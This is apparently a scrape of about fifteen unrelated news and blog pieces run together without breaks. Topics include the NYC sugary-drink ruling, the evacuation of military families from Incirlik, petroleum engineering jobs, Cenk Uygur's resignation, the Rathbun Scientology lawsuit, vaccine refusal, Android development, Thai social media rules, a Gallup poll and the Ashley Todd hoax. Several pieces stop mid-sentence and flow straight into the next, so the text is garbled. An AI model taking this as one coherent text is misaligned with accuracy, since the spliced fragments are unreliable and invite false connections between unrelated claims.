This feels heartless.Editors for CNN's breaking news emails delivered subscribers a 50-word alert on how "[a] state judge invalidated a New York City law banning certain venues from selling sugary drinks in containers larger than 16 ounces." [Update: By contrast, Fox News's email breaking news alert simply reads, "State judge halts New York City's ban on large sugary drinks, calling the ban 'arbitrary and capricious'" | see screen grabs below page break]
But rather than couch the stay on the new regulation as a victory of individual liberty, the editors described the ruling as "a setback for Mayor Michael Bloomberg, who has backed several laws aimed at improving the health of New Yorkers."
In a five-paragraph item at the CNNMoney website, writer Melanie Hicken did note that "many have decried the ban as a sign of the growing "nanny-state" and an unfair intrusion on personal freedom."
As the Wall Street Journal explains, the judge who tossed out the regulation found the new soda limitation law "fraught with arbitrary and capricious consequences" but the regulation itself transgressed the bounds of the city's health codes (emphasis mine):Airmen spread out to begin a foreign-object-debris walk to remove trash and other objects from the flight line at Incirlik Air Base, Turkey, in 2012. The Defense Department has announced on Tuesday, March 29, 2016, that it will start the evacuation all dependents from the base for force-protection reasons.
KAISERSLAUTERN, Germany — The Pentagon is ordering nearly 700 military family members to leave Incirlik Air Base and two smaller military installations in Turkey because of concerns over the deteriorating security environment there.
Families are expected to begin leaving Turkey on Wednesday, stopping first at Ramstein Air Base in Germany, before continuing on to the States or other duty locations, U.S. European Command told Stars and Stripes.
“We understand this is disruptive to our military families, but we must keep them safe and ensure the combat effectiveness of our forces to support our strong ally Turkey in the fight against terrorism,” EUCOM chief Gen. Philip Breedlove said Tuesday in a statement.
The mandatory departure order, announced by the State Department, affects nearly all Defense Department dependents assigned to Incirlik, as well as those at smaller bases in Izmir and Mugla. The families of U.S. diplomats in the same areas also are ordered to depart.
On Monday Israel issued a new travel advisory for Turkey, warning Israeli citizens to leave the country as soon as possible and avoid any traveling there.
About 670 dependents are expected to be evacuated, along with 287 pets. About 770 dependents, most from Incirlik, are currently in Turkey, EUCOM spokeswoman Julie Weckerlein said. Those allowed to stay are family members with mission-essential jobs.
The dramatic move to get families out of Turkey comes several weeks after Americans at Incirlik were put on base lockdown, when the force-protection level was raised to the military’s highest threat condition. The elementary/high school at Incirlik was temporarily shuttered on March 9 as a result.
Classes for Incirlik students resumed Monday and Tuesday at different locations on base, but that arrangement appears to be short-lived given Tuesday’s announcement.
Some families had already opted to leave Incirlik. In September, the Air Force authorized the voluntary early departure of residents, a temporary measure that resulted in about 100 family members leaving for the States. School enrollment since the fall has plummeted by more than 100 students, leaving about 250 students at the school.
Also in September, the Air Force suspended the move of U.S. servicemembers’ families to Incirlik, an early signal of the growing concern over violence in the region.
Incirlik has one of the smallest populations of any U.S. Air Forces in Europe facility, with fewer than 2,000 airmen normally assigned there. Weckerlein said no decisions have been made on the future status of Incirlik as a continued destination for families.
“They will review this in the future,” she said.
The evacuation does not signify a permanent decision to end accompanied tours to Turkey, EUCOM said.
“It is intended to mitigate the risk to DOD elements and personnel, including family members, while ensuring the combat effectiveness of U.S. forces and our mission support to operations in Turkey,” according to the EUCOM statement.
Still, the long-term prospects for Incirlik as an accompanied destination appear to be in limbo.
Last week, the Incirlik base commander said during an American Forces Network “commander’s corner” spot that there was nothing official yet regarding changing the status of Incirlik as an accompanied tour for airmen. But, if there were a transition, “it wouldn’t surprise me to see Kunsan-style assignments where everybody is on a one-year remote,” said Col. John Walker, 39th Air Base Wing commander, in the video posted Friday to the base’s Facebook site. He was referring to airmen based in South Korea.
“So, what’s the future going to look like? I’m really interested in that myself,” he said.
Uncertainty about the nature of future deployments to the base comes as military operations at Incirlik have increased. Now, the base is on the front lines of the fight against the Islamic State group in Syria and Iraq, with U.S. fighters routinely launching from Incirlik on strike missions.
In July, U.S. troops and aircraft began rotating through Incirlik in larger numbers as part of the ramping up of the air campaign. At the same time, NATO allies have been conducting operations from Incirlik, including surveillance flights around the Turkish border.
For the U.S., Incirlik Air Base has long been a strategic spoke for U.S. forces, dating back to the Cold War. While Incirlik has no permanent U.S. aircraft assigned, the base has long served as a temporary hub for cargo and refueling missions supporting U.S. aircraft in places such as Iraq and Afghanistan.
The base also is only about 200 miles from the Syrian border, where the transit of foreigners back and forth to Turkey has been a long-standing concern for the U.S. and its allies.
The town of Incirlik, a small village, is about 10 miles from the largely conservative Turkish city of Adana, home to nearly 2 million people.
NATO's Allied Land Command is based at Izmir and there is a Turkish base at Mugla where some U.S. military personnel go for training and other missions.
svan.jennifer@stripes.com
vandiver.john@stripes.comSajjaat Muhemmed has a year left before he receives his Masters degree in Petroleum Engineering from Texas A&M University.
He doesn't have a job right now, so the 25 year old has concerns about his future especially with oil prices at the lowest level in five years. "The petroleum industry as a whole has always been fluctuating in the past and it will fluctuate in the future because there's a lot of factors involved in that."
Dan Hill understand the factors involved in the oil price drop. He is the department head at the Harold Vance Department of Petroleum Engineering. He's had to answer a lot of questions from students and parents about the future of the oil and gas industry. "They ask me, 'Will I get a job. Will there be a petroleum engineering positions available. Can I get a summer internship?' "
Hill says 80 percent of A&M's petroleum engineering students have a job secured when they graduate in May. He says it could be harder for the remaining 20 percent to find work, especially with many big service companies laying off employees. However, he says it's not impossible if students keep their options open. "I tell students don't say 'I don't want to live in Midland, or I don't want to live in North Dakota or or I don't want to live in Venezuela or anywhere. Be very open minded about the opportunities that are available.'"
Hill says the last time oil prices dropped like this was during the recession in 2008 when the price dropped from 140 dollars a barrel to 40 dollars a barrel in 6 months. The prices went back up with the next within six months. He projects that the industry will bounce back again which is good news for Sajjaat who says he will go wherever a job leads him.
Is the slump on energy prices impacting job prospects of petroleum and chemical engineering majors at Texas A&M? The University will hold an engineering career fair next week from January 27-January 28th.
Texas A&M University
Engineering Career Fair
January 27 & 28, 2015
9:00 am - 4:00 pm
Reed Arena
Sponsored by the Student Engineers' Council
http://sec.tamu.edu
Corporate Registration:
http://sec.tamu.edu/corporate
Contact: Michelle Wise and Haylee Young, Co-Chairs
careerfair@sec.tamu.eduJustice Democrats Confirms Cenk Uygur’s Resignation
The Justice Democrats has confirmed that Cenk Uygur and Dave Koller stepped aside from their organization after revelations of the Young Turks’ history of racist, sexist and pro-rape sentiments — and the popular progressive’s subsequent pseudo-apology in which he blamed the fact that he was a Republican when some of the comments were made.
They deleted their post after a wave of backlash from Young Turks fans, but republished it within the hour.
We are deeply disturbed by recent news regarding @cenkuygur & David Koller. Their language and conduct is horrifying and does not reflect our values at Justice Democrats. We would be hypocrites to not act immediately and ask for their resignation. Here is our official statement: pic.twitter.com/WYqawLtuGo — Justice Democrats (@justicedems) December 22, 2017
In the statement posted on Friday, Justice Democrats Executive Director Saikat Chakrabarti and Campaigns Director Alexandra Rojas said that they “welcome Mr. Uygur’s decision to resign from the Board of Justice Democrats and remove himself from any and all involvement in our organization. We have also removed David Koller as treasurer of our organization.”
https://twitter.com/AndyBillions89/status/944348165616136192
Justice Democrats is a progressive political action committee that seeks to rebuild the Democratic Party. It was founded by Uygur, Kyle Kulinski of Secular Talk, and former leadership from the 2016 Bernie Sanders presidential campaign shortly after the inauguration of President Donald Trump.
“I am disgusted by these posts. We would be hypocrites to not act immediately and ask for his resignation. Leaders must represent and be a symbol for the values of the organization they lead. That is why we have called for the resignation of elected officials and public figures this year who have abused their power and the same will be true for our leaders. Justice Democrats is dedicated to creating a progressive movement that challenges patriarchy, ends systemic racism and stands by the values of our platform. These two men do not represent our organization. The staff who have built this from the ground up and candidates who make up the slate do,” Rojas wrote.
Uygur was over 30 at the time of the posts, which included referring to Native Americans as “Redskins” who are always looking to make a buck, stating that Japanese women will sleep with American men for a new purse, and stating that women are “genetically flawed” and “poorly designed creatures who do not want to have sex nearly as often as needed for the human race to get along peaceably and fruitfully.”
Uygur then went the Kevin Spacey route with his apology — stating that he is now living as a liberal man — and blamed his disgusting statements on being a conservative at the time.
“If someone said that today, I would heavily criticize them on the show and rightfully so, and I have. I’ve criticized myself over the years,” he added. “I had not yet matured and I was still a conservative who thought that stuff was politically incorrect and edgy. When you read it now, it looks really, honestly, ugly. And it’s very uncomfortable to read.”
The Gateway Pundit also reported on a post by Young Turks co-founder and senior vice president of operations Dave Koller in 2005, in which he describes himself and Uygur asking 14-16 year old girls if they have ever had sex and referring to them as “whores in training” and “little spoiled brat bitch young American girls on their way to becoming abused porn actresses or dispensable property in a New York City prostitution ring.” He did however, admit that the trip did in fact take place.
Koller is currently the head of human resources at the Young Turks, meaning that anyone who experienced sexism or other issues in the workplace would have to report it to this man who referred to children as future prostitutes.
When the Wrap called Koller for comment, he declined.
“I don’t want to talk about any of that stuff. Thank you for calling,” he said before hanging up on the reporter.Public bus catches fire on Highway 17 near San Jose
Richard Masoner, who was on another bus, snapped photos of a bus that had caught fire on Highway 17 on Monday morning. Richard Masoner, who was on another bus, snapped photos of a bus that had caught fire on Highway 17 on Monday morning. Photo: Richard Masoner / Courtesy Photo: Richard Masoner / Courtesy Image 1 of / 3 Caption Close Public bus catches fire on Highway 17 near San Jose 1 / 3 Back to Gallery
A public transit bus carrying commuters Monday morning caught fire while driving north on Highway 17 in Campbell, officials said.
No one was injured in the fire on the Highway 17 Express bus, reported shortly after 7:30 a.m., according to the California Highway Patrol.
The driver spotted flames spouting from the right rear of the bus and immediately pulled over, with all passengers quickly evacuating, said Officer Ross Lee, a CHP spokesman. Another bus came to pick up the riders.
About a quarter of the bus burned, and the cabin filled with smoke, though no one was inside at that point, Lee said. The cause of the fire wasn’t immediately clear.
Two lanes of the highway were closed as crews put out the fire, backing up traffic through the area.
The northbound Highway 17 Express bus route carries passengers from Santa Cruz to San Jose.
Kimberly Veklerov is a San Francisco Chronicle staff writer. Email: kveklerov@sfchronicle.com Twitter: @kveklerovWe wanted to follow up yesterday’s blockbuster news with some important details. Namely, where Monique Rathbun’s lawsuit against the Church of Scientology is today, and what immediate deadlines it faces.
On Friday, Monique’s attorneys filed a document with the Texas Supreme Court which revealed that they had been fired “without cause.” In the filing there was no notice of new counsel representing Monique. There was no request for a stay of proceedings so that new attorneys could be brought on and learn the case. Assuming the court accepts the withdrawal of her attorneys, Monique is currently without counsel of any kind. One of the consequences of this is that the home address of the Rathbuns was included in the document — if Monique still had representation, we might not even know that the Rathbuns had returned to Ingleside, near Corpus Christi.
In our comments, we saw numerous people suggesting that Monique might simply be switching attorneys. While that’s possible, our experts tell us it’s not likely. Ray Jeffrey and the others, Marc Wiegand, Elliott Cappuccio, and Leslie Hyman, were working on a contingency basis, and had racked up a huge amount of work in the time since the lawsuit was first filed in August 2013. Because they were fired “without cause,” they would still be entitled to their percentage of any future settlement in the case, which we believe would be around 40 to 45 percent.
It makes no sense to fire attorneys on a contingency basis to bring one on who is going to charge by the hour, so that’s probably not going to happen. Is there another attorney who is going to come in and work on a contingency basis? That’s possible, but the enormity of the case would mean that it would take weeks for a new attorney to get up to speed. And Monique doesn’t really have that much time.
On February 19, the defendants in the lawsuit face a deadline of turning in their petition to the Texas Supreme Court. They have already received two extensions, and this last time, they were told that an additional extension would be “disfavored.” It’s very hard to see David Miscavige instructing his attorneys to miss that deadline and a chance to petition the Texas Supreme Court without a settlement worked out. That leaves very little time for a settlement to happen, and our best information tells us that those talks have not even begun.
Speaking of the petition, we’ll remind readers where this lawsuit is currently. Scientology is asking the Texas Supreme Court to review a devastating decision by the Texas Third Court of Appeals which shot down Scientology’s argument that its harassment of the Rathbuns was a form of free speech. Our legal observers tell us there was a good chance that this decision would have been upheld by the state supreme court, and that Scientology had every intention of then taking it to the US Supreme Court — and a loss there would have been huge for anyone who wanted to sue Scientology in the United States for harassment. That won’t happen now.
We will be watching the docket closely to see if a new attorney does make an appearance for Monique, or to see if the case is ended, which would suggest a settlement is reached.
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Bonus photos from our tipsters
On a lighter note, there was a disco party at the Fort Harrison Hotel Saturday night.
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Posted by Tony Ortega on February 2, 2016 at 07:00
E-mail tips and story ideas to tonyo94 AT gmail DOT com or follow us on Twitter. We post behind-the-scenes updates at our Facebook author page. After every new story we send out an alert to our e-mail list and our FB page.
Our book, The Unbreakable Miss Lovely: How the Church of Scientology tried to destroy Paulette Cooper, is on sale at Amazon in paperback and Kindle editions. We’ve posted photographs of Paulette and scenes from her life at a separate location. Reader Sookie put together a complete index. More information about the book, and our 2015 book tour, can also be found at the book’s dedicated page.
Learn about Scientology with our numerous series with experts…
BLOGGING DIANETICS: We read Scientology’s founding text cover to cover with the help of L.A. attorney and former church member Vance Woodward
UP THE BRIDGE: Claire Headley and Bruce Hines train us as Scientologists
GETTING OUR ETHICS IN: Jefferson Hawkins explains Scientology’s system of justice
SCIENTOLOGY MYTHBUSTING: Historian Jon Atack discusses key Scientology concepts
Other links: Shelly Miscavige, ten years gone | The Lisa McPherson story told in real time | The Cathriona White stories | The Leah Remini ‘Knowledge Reports’ | Hear audio of a Scientology excommunication | Scientology’s little day care of horrors | Whatever happened to Steve Fishman? | Felony charges for Scientology’s drug rehab scam | Why Scientology digs bomb-proof vaults in the desert | PZ Myers reads L. Ron Hubbard’s “A History of Man” | Scientology’s Master Spies | Scientology’s Private Dancer | The mystery of the richest Scientologist and his wayward sons | Scientology’s shocking mistreatment of the mentally ill | Scientology boasts about assistance from Google | The Underground Bunker’s Official Theme Song | The Underground Bunker FAQ
Our Guide to Alex Gibney’s film ‘Going Clear,’ and our pages about its principal figures…
Jason Beghe | Tom DeVocht | Sara Goldberg | Paul Haggis | Mark “Marty” Rathbun | Mike Rinder | Spanky Taylor | Hana WhitfieldAn analysis of numerous studies and reports finds that unvaccinated or undervaccinated U.S. individuals comprised a substantial proportion of cases in measles and some pertussis outbreaks. The analysis also found a generally increased risk for measles and pertussis among people who refused vaccines, as well as an associated risk among fully vaccinated individuals.
The study is published in the March 15 issue of JAMA.
Saad Omer, MBBS, MPH, PhD, professor in the Hubert Department of Global Health at Emory's Rollins School of Public Health, and team examined the association between vaccine delay, refusal, or exemption and the epidemiology of measles and pertussis, two vaccine-preventable diseases with recent U.S. outbreaks.
The authors searched the medical literature for reports of U.S. measles outbreaks that have occurred since measles was declared eliminated in the United States (after January 1, 2000), endemic and epidemic pertussis since the lowest point in U.S. pertussis incidence (after January 1, 1977), and for studies that assessed disease risk in the context of vaccine delay or exemption.
Among 32 reports of pertussis outbreaks, which included 10,609 individuals for whom vaccination status was reported (ages 10 days to 87 years), the five largest statewide epidemics included substantial proportions (24 to 45 percent) of unvaccinated or undervaccinated individuals. However, several pertussis outbreaks also occurred in highly vaccinated populations, indicating waning immunity. Nine reports (describing 12 outbreaks) provided detailed vaccination data on unimmunized cases; among eight of these outbreaks, 59 to 93 percent of unvaccinated individuals were intentionally unvaccinated.
"This review has broad implications for vaccine practice and policy," says Omer. "For instance, fundamental to the strength and legitimacy of justifications to override parental decisions to refuse a vaccine for their child is a clear demonstration that the risks and harms to the child of remaining unimmunized are substantial. Similarly, central to any justification to restrict individual freedom by mandating vaccines to prevent harm to others is an understanding of the nature and magnitude of these risks and harms."
"Our report shows that outbreaks of vaccine-preventable diseases in the United States have prompted clinicians, public health officials and the public to pay greater attention to the growing phenomenon of vaccine refusal and hesitancy. We believe this study will result in an improved understanding of the association between vaccine refusal and the epidemiology of these diseases."U.S. law OKs damages in police excessive force, court rules
When a Californian is unjustifiably killed by police, the victim's family members can seek damages under federal law for the pain their relative suffered before death, a federal appeals court ruled Monday.
No such compensation is allowed under California law. But the Ninth U.S. Circuit Court of Appeals in San Francisco said a post-Civil War U.S. law requires the government to pay for pain and suffering caused by police who use excessive force, despite a state's limitations on damages.
The ruling involved a fatal shooting by a Los Angeles police officer who said the 21-year-old man had lunged at him with a knife, a statement the jury did not believe.
Muhammad Usman, described by his family as an autistic man who often wandered from home, was spotted by police sleeping in front of an apartment building one night in March 2008. Officers woke him and asked for identification, which he provided. While one officer was checking for warrants, another, Joseph Cruz, shot Usman three times in the chest and abdomen.
Cruz, who had a cut on his hand, testified that Usman had charged at him with a knife. But the court said other witnesses testified that the knife found at the scene was a type typically carried by police and did not have Usman's DNA, that the second officer did not hear Cruz shout a warning about a knife, and that the trajectory of the shots showed they were fired while Usman was collapsing rather than advancing toward Cruz.
The jury found that Cruz had used excessive force and had acted recklessly or with malice. Jurors awarded the family $700,000 for Usman's wrongful death, a verdict the city did not appeal, and $1 million for his pain and suffering before death. A lawyer for the family said Usman had struggled to get up after the first gunshot and was heard groaning before he died.
U.S. District Judge Gary Klausner threw out the $1 million award, saying relatives who sue for wrongful death are barred by California law from seeking additional damages for the victim's pain and suffering.
But the appeals court said the California statute is inconsistent with the federal law's goal of providing compensation for unjustified killings by state officers. If no such damages were allowed, Judge William Fletcher said in the 3-0 ruling, the city would pay less for killing Usman than for leaving him wounded but alive and suing for his own pain and suffering.The state of Android in 2017
Yair Kukielka Blocked Unblock Follow Following Jan 16, 2017
Let me tell you about the good, the bad, and the ugly in the native Android development world.
In 2013 I quit my job as a java server-side programmer to start studying Android at home. Then, I got my first Android job and I have worked in several companies since then. At first I was thrilled to be able to show my apps to friends & family. To run them, I didn’t need a huge Oracle database or a server with a JVM. Devices were slow, yes, but not needing that heavy infrastructure and being able to recycle my java knowledge for mobile programming was amazing (let alone the cost of it: Free!).
The Android platform
Since the beginning, I liked switching to the new platform and learning new things about activities, asynchronous programming, push notifications and concurrency. Then, Honeycomb arrived with fragments; and then, Ice Cream Sandwich with Holo. People where having a lot of fun writing code for small apps.
As applications grew, devs started to think about cleaner code, better architectures, better tools and testing. They realized that those huge activity classes would backfire one day and they reused classic programming patterns and came up with new ones. Everybody started talking about MVP, MVVM, hexagonal architecture and open source libraries where thriving. I was excited reading all those posts by fellow programmers, and watching those great talks.
The Android platform was designed to be very versatile. Actually, I think that’s its greatest quality and that’s why it works on so many phones, tablets, TVs, watches, cars and things. It was thought to be scalable, always being aware of hardware constraints like CPU speed, memory and battery. Android’s layered architecture allows separating concerns for different technologies and teams working on them. Thanks to this, for example, Google was able to seamlessly switch to OpenJDK in Android Nougat:
Something feels wrong
I think Android is a great platform, but I also think that some APIs available to developers in the framework layer (the green one in the previous image) really should be redesigned.
Activities are arguably the most important component in Android, and along with fragments, they are hard to grasp and to be used correctly — and Google knows it. Their lifecycle is intricate, and this only adds complexity and confusion to the developer:
Having so many callbacks makes it difficult to do composition over inheritance. That’s why inheritance is overused for activities/fragments in most apps. It would be great to have more fluent ways of writing code.
One of the most annoying things is the effort it takes to properly implement handling runtime changes to, for instance, rotate the device — which is something fairly frequent; One of the goals of activities is to stay always in the state where you left them. For this purpose we use onRetainCustomNonConfigurationInstance(), onSaveInstanceState(), retained fragments, headless fragments…… and still saving/restoring activity/fragment state in a highly concurrent environment is hard.
And that’s not all: Anyone trying to visualize the contents of a SQLite database? Fortunately Facebook built Stetho. Who hasn’t dealt with undocumented behaviors in the webview? App build times over 5–10 minutes? Has anyone heard about fragmentation? Java 8? Do you like the new permissions model in Marshmallow? Nice animations are only available on KitKat-Lollipop and later. Animated SVGs are a great feature, but they’re so laborious (I’m keeping an eye on this cool tool). Who hasn’t had problems with viewpagers? Anyone likes debugging the FragmentManager? ViewTreeObserver hacks? I wish CSS was used for styling and animations, or at least if Google had created flexbox for Android sooner…
Creative solutions to skip the Andriod UI problems are: Mortar and Flow, react native, nucleus, Mosby… but they all feel like squaring the circle.
The Android UI system works well and it’s very performant but it might be the worst part of the framework for developers. And on top of that, everything you learn on building Android UIs will not be reused for any other platform.
Testing
I have written before about testing in Android, trying to share what I learnt. It is not easy to write testable code in Android compared to other platforms or tech stacks, and it is necessary to invest a lot of time in having a good architecture in order to write testable code. Robolectric and gradle unit tests are your best options for small, quick and reliable unit tests on your JVM. For the rest, you might need to write instrumentation tests, which have always been slow, and difficult to keep simple and hermetic.
How are you supposed to write a small test for content loaders or sync adapters? You will end up with flaky and slow end-to-end tests. And I can tell you by experience that having flaky tests is very annoying: every time your team gets a failure email from your CI server you’ll have to go back and see what’s wrong.
After spending long and frustrating hours trying to write better tests in Android, I must say that this area is improving. Espresso made things much easier for instrumented tests — still some flakiness, weird behaviors in webviews and dealing with idling resources for background threads makes it hard. Google is improving testing documentation with examples, and codelabs. Being able to write unit tests on the local JVM has been a huge improvement.Like most Thais her age, Fasai Maleenon, 18, is an avid user of social media platforms such as Facebook, Instagram and Twitter, where she follows news and feels free to express herself online. But the student feels that her privacy would be violated when the government approves measures aimed at regulating the use of social media in Thailand by 2019.
On Monday, the National Reform Steering Assembly (NRSA) accepted a proposal that would require social media users to register their mobile numbers together with fingerprints and face scans.
The media reform committee of the NRSA, the junta-appointed body tasked to implement political and social reforms, also proposed the creation of a "central social media watch centre" to monitor netizens 24 hours a day.
The proposal, which the assembly passed 144 to one, will be submitted to the Cabinet for review before it is sent to the King for endorsement. Most observers expect the proposal to be passed into law.
The NRSA committee said changes were needed, citing growing problems such as a lack of media literacy, abuse and "irresponsible exercise" of rights and freedom, which have social, political and economic effects. It also said that these have affected the kingdom's "main institution", without specifying what the institution was.
Social media platforms like Facebook and Twitter already offer an option for users to link accounts with mobile numbers for security reasons, but the new proposal would mean that they would likely be compelled to share such encrypted information with the Thai government.
Once the proposal is enacted, people's actions on social media will be restricted, Ms Fasai said. "The government would know what we are talking about and I don't think that's private at all."
Ms Wee Tunthayakhul, 33, an employee of a private company, said the proposal was a big issue among social media users. "I understand that it's for security but I think liberty is important."
Mr Kan Yuenyong, executive director of the Bangkok-based think-tank Siam Intelligence Unit, said the proposal will force people to "exercise self-censorship".
"They're trying to manage information in society by clamping down, but the problem is, you can't technically clamp down on social media," Mr Kan said.
The government should not poke its nose into "normal dialogue between people", he added.
According to social media analytics developer Thoth Zocial, Thailand has 47 million Facebook users, 11 million Instagrammers and nine million Twitter accounts as of May 2017.
In May, the junta threatened to block access to Facebook over more than 100 pages posted by critical netizens which it deemed "offensive" and in violation of the Computer Crime Act. But the junta backed down after failing to secure court orders to take down the pages.
The media reform committee also pushed for the use of advanced technology that allows the tracing and examining of photographs, video, audio and text on |
be 19 days ahead of the average first 90-degree day (May 17) and the earliest first 90-degree day since 2013 (on April 10).
Unless the forecast changes, visitors attending the People’s Climate March should wear summer attire and be sure to hydrate. A high of 90 on April 29 is 19 degrees above normal and near the average maximum temperature in mid-July.
The warmth will result from a sprawling area of high pressure off the Southeast coast that will pump hot air toward the Mid-Atlantic.
GFS model simulation showing high pressure at high altitudes off the Southeast coast on Saturday. (WeatherBell.com)
There is some chance that if the cloud cover is more pervasive than forecast, temperatures will not be quite as warm. Some models are predicting highs more in the 80- to 85-degree range rather than near 90.
It is likely to be not only unseasonably warm but also unusually humid. The dew point, a measure of humidity, is expected to reach the mid- to upper-60s.
GFS model forecast dew points Saturday evening.
Any dew point over 65 is considered quite humid and more typical of July than April. Factoring in Saturday’s predicted humidity, the air could feel as hot as 92 to 95 degrees in the mid- to late afternoon.
The hot-weather forecast to end April in Washington is almost certain to catapult the month to its warmest average temperature on record, more than seven degrees above normal.
[April on track to be warmest on record in Washington]
It will mark Washington’s second record-warm month in the past three (February was also record warm) and seventh record-warm month since 2010.
Saturday’s climate march comes about 29 years after the famous congressional climate change hearing, in which NASA scientist James Hansen, considered the father of global warming awareness, said he was 99 percent certain that a global warming trend was the result of human activity. The hearing was held June 23, 1988, in Washington, and the temperature surged to a record high of 98 degrees.
[Setting the record straight: The real story of a pivotal climate-change hearing]The whole concept of virtual reality is based around immersion.
But when it comes to bringing anything other than your eyes and ears into VR, the system falls apart.
This is what Samsung's VR headset, Gear VR, looks like in use. Nan Palmero/Flickr
There's still no real way to bring your body into VR, no way to interact other than through various gamepads. You can't simply grab something with your hand in virtual reality and have it react — you still have to push a button, in so many words.
There are attempts to solve this issue, of course.
Facebook-owned Oculus VR has the "Oculus Touch" controllers (which also require a camera for use):
Oculus VR
Sony's PlayStation VR headset has the PlayStation Move motion controllers, which look like this (and require a camera as well):
Sony
And HTC's Vive headset uses a similar solution (which doesn't require a camera, but instead requires two small boxes emitting lasers be placed in the room of the user):
Business Insider
And this week, during the annual Consumer Electronics Show in Las Vegas, Samsung is showing off its own solution. Instead of wands, these look more like bracelets (or maybe brass knuckles) — they're called "Rink":
Samsung
With Rink, you'll be able to bring your hands into virtual reality using Samsung's Gear VR headset.
Unlike headsets from Facebook, HTC and Sony, Samsung's headset is powered by your phone instead of a PC. As such, you'll plug what looks to be a camera sensor of sorts into the top of the headset, which will then track the Rink motion controllers. But you're probably wondering what it looks like in action, right?
Wonder no more:
Samsung
And here's an even more novel potential use — a virtual keyboard!
Samsung
There's only so much known about Rink thus far — we have no idea about price or release date or any of that nitty gritty stuff just yet. We do, however, have a sweet video from Samsung showing what it looks like (from inside virtual reality) when you're using the Rink controller:It's no secret that we're all fans of Star Wars here at GeekDad. Given that, it's no surprise that we're all very impressed with the X-Wing styled soapbox derby car built by Instructables user, The Papier Boy.
The car was built as an entry in the 2011 Nazareth Adults Soapbox Derby, and as the builder says in his Instructables writeup:
"For the 2011 Nazareth Adult Soapbox Derby I wanted to design a car that people would like and made me feel heroic. So I decided I would model it after one of the most important vehicles of our nation's history: the T-65 X-wing fighter."
As well, the designer had his heart set on some must-have features:
*"1) I wanted an R2 droid that spun and made sounds *
*2) I wanted the wings to open and close. *
Very early on I abandoned the open/closing wing idea. I just couldn’t make it happen in the budget and time that I had. But I was pretty sure I could easily get the droid to spin and talk."
Head on over to the build page at Instructables for more photos and description....Story Highlights About six in 10 Americans think third major U.S. party is needed
Largely unchanged from recent years
Independents are biggest proponents; Republicans and Democrats are split
This story is part of a series focusing on Americans' confidence in various types of government and their views of the political parties and of the role and power of government. Follow the series on our Government topic page.
WASHINGTON, D.C. -- Nearly twice as many Americans today think a third major party is needed in the U.S. as say the existing parties do an adequate job of representing the American people. The 61% who contend that a third party is needed is technically the highest Gallup has recorded, although similar to the 57% to 60% holding this view since 2013. Barely a third, 34%, think the Republican and Democratic parties suffice.
Americans' desire for a competitive third party has waxed and waned over the past 15 years, but rose to 57% or higher a few times in polls conducted before 2013, including two in 2007 and one in 2010.
Demand for a third party was markedly lower in Gallup's first two measurements -- in 2003 and 2006 -- when relatively few Republicans and fewer than two in three independents thought a third party was needed in these years of George W. Bush's Republican administration.
Support for a third party was also lower in 2008 and 2012 -- both presidential years when demand dipped from about 70% to about 60% among independents, likely because the major-party presidential candidates running during those elections were relatively popular. The same pattern did not materialize in 2016, a presidential election year featuring the two most unpopular candidates in Gallup's polling history. At that time, a solid majority of Americans, including 73% of independents, still thought a third major party was needed.
Gallup Analytics
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Independents Are Reliable Champions of Third Major Party
While more than three-quarters of political independents would prefer to have a third major-party player in the U.S. political system, Republicans and Democrats are closely split between favoring that and saying the current two-party system is adequate.
More specifically, 49% of Republicans think a third major party is needed, while 46% say the Republican and Democratic parties are adequate. The split is similar among Democrats: 52% would prefer having a third major party, while 45% prefer the existing two-party structure. Meanwhile, 77% of independents favor having a third major party, while just 17% think the Democratic and Republican parties are adequate.
These party results largely conform to the historical patterns, although Democrats tended to be more in favor than Republicans of the formation of a third major party during the Bush presidency in 2003 and 2006. Since then, there has been little difference between the parties, apart from a few isolated occasions.
Implications
At various points since 2007, a majority of Americans have contended that a third major political party is needed in the U.S., while the minority have believed the two major parties adequately represent the American people. That pattern continues today with an unprecedented five-year stretch when demand for a third major party has been 57% or higher, including 71% or higher among independents.
While this may seem promising for any group thinking about promoting such a party, it is one thing to say a third major party is needed and quite another to be willing to join or support it. Americans' backing of the idea could fall under a mentality of "the more, the merrier," in which they would be pleased to have more viable political choices even if they vote mainly for candidates from the two major parties. And that says nothing of the structural barriers third parties face in trying to get on the ballot.
With most Republicans and Democrats viewing their own party favorably, the real constituency for a third party is likely to be political independents, meaning the party would have to be politically centrist. Thus far, the Green and Libertarian parties have succeeded in running national presidential campaigns but not in attracting big numbers of registered members. But with record numbers of Americans frustrated with the way the nation is being governed, the country could be inching closer to having enough people who want an alternative to the status quo to make it a reality, at least with the right candidate at the helm.
Survey Methods Results for this Gallup poll are based on telephone interviews conducted Sept. 6-10, 2017, with a random sample of 1,022 adults, aged 18 and older, living in all 50 U.S. states and the District of Columbia. For results based on the total sample of national adults, the margin of sampling error is ±4 percentage points at the 95% confidence level. All reported margins of sampling error include computed design effects for weighting. Each sample of national adults includes a minimum quota of 70% cellphone respondents and 30% landline respondents, with additional minimum quotas by time zone within region. Landline and cellular telephone numbers are selected using random-digit-dial methods. View survey methodology, complete question responses and trends. Learn more about how the Gallup Poll Social Series works.I don't know about you, but I've heard Ashley Todd's story somewhere before and that somewhere is here in Boston. Twenty year old Todd from Texas is a student volunteer for the McCain campaign in Pittsburgh. Her scarred face turned up all over the internet after alleging that she was mugged at an ATM machine on Wednesday night by a knife-wielding black man. Todd said the 6 foot four assailant also carved the letter "B" in her cheek after he spotted a McCain bumper sticker on her car. Police arrived and offered to take her to the hospital. She declined. Instead, in the hours after the alleged incident, she used her Twitter social networking account to thank fellow GOP supporters "for their thoughts and prayers" and to ask them to work together to get John McCain elected.
Todd has now confessed that she made up the story after failing a lie detector test, and after police failed to turn up a 6 foot four black Obama supporter who drew a "b"--presumably for Barack-- in her cheek like the fictitious mark of Zorro or the anti-hero in the movie "V."
This brings me back to Boston. I was having a conversation with a friend one night in October of 1989, when a local news station reported a story so dreadful that we stopped in mid-sentence: A white couple coming home from a birthing class at a local hospital in Boston had lost their way and had ended up in a "dangerous part of town" near a black housing project. While looking for a way out they were allegedly attacked by a black mugger who came out of nowhere and fatally shot Stuart's pregnant wife, Carol, and injured Stuart.
After ingesting the news, my friend said, something's not right about this story. For one, he grew up not far from that location and said it would take some effort to "get lost" in the area where the shooting took place. To him, the story smelled of fiction.
As a journalist, especially as a journalist specializing in color politics and race relations, I am taught to treat all stories with complexity and with a fair degree of informed skepticism.
That's why Ashley Todd's story did not smell right. From the very beginning it smelled of fiction, but that did not stop Matt Drudge from headlining the incident on his much-read web site, declining to delve into the most obvious questions:
1) Why did she refuse medical treatment after such a physically and emotionally traumatic incident?
